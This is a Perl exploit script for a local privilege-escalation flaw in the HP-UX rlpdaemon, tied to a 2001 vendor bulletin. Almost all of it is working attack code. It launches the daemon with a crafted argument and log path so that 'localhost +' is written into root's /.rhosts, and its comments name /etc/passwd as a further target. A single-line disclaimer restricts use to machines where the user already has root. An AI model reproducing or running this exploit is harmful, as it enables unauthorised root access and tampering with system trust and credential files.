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#!/opt/perl5/bin/perl -w

# HP-UX rlpdaemon local exploit
# Bulletin HPSBUX0111-176 (November 2001)
#
# For use only on machines where you have legitimate root.
# This attempts to add junk (including "localhost +") to /.rhosts.
# Obvious variants could include /etc/passwd.

use IO::Socket;

$PORT = 9000; # pick something not in use

$pid=fork;
die("fork: $!") unless (defined($pid));

if (0 == $pid) {
# child - server, exec rlpdaemon with chosen argv

$IPPROTO_TCP=6;
$SOCK_STREAM=1;
$AF_INET=2;
$PF_INET=2;

$sockaddr='S n a4 x8'; # packed socket data

$this=pack($sockaddr, $AF_INET, $PORT, "\0\0\0\0") or die("pack: $!");
socket(S, $PF_INET, $SOCK_STREAM, $IPPROTO_TCP) || die ("socket: $!");
bind(S, $this) or die("bind: $!");
listen(S, 5) or die("listen: $!");
$addr=accept(NS, S);

# dup2 on 3 standard streams
open(STDIN, "+<&NS") or die("dup2: $!");
open(STDOUT, "+>&NS") or die("dup2: $!");
open(STDERR, "+>&NS") or die("dup2: $!");

exec {"/usr/sbin/rlpdaemon"}
"\nlocalhost +\n",
"-i", "-l", "-L", "/.rhosts";
# UNREACHED
exit(1);
}

sleep 5; # let server start before we connect to it

# parent - connect to server with loggable action
$remote = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "localhost",
PeerPort => $PORT
)
or die "cannot connect to port $PORT at localhost";

# RFC1179
printf($remote "%clp\n", 2); # rlpdaemon should log this
close($remote);
exit(0);

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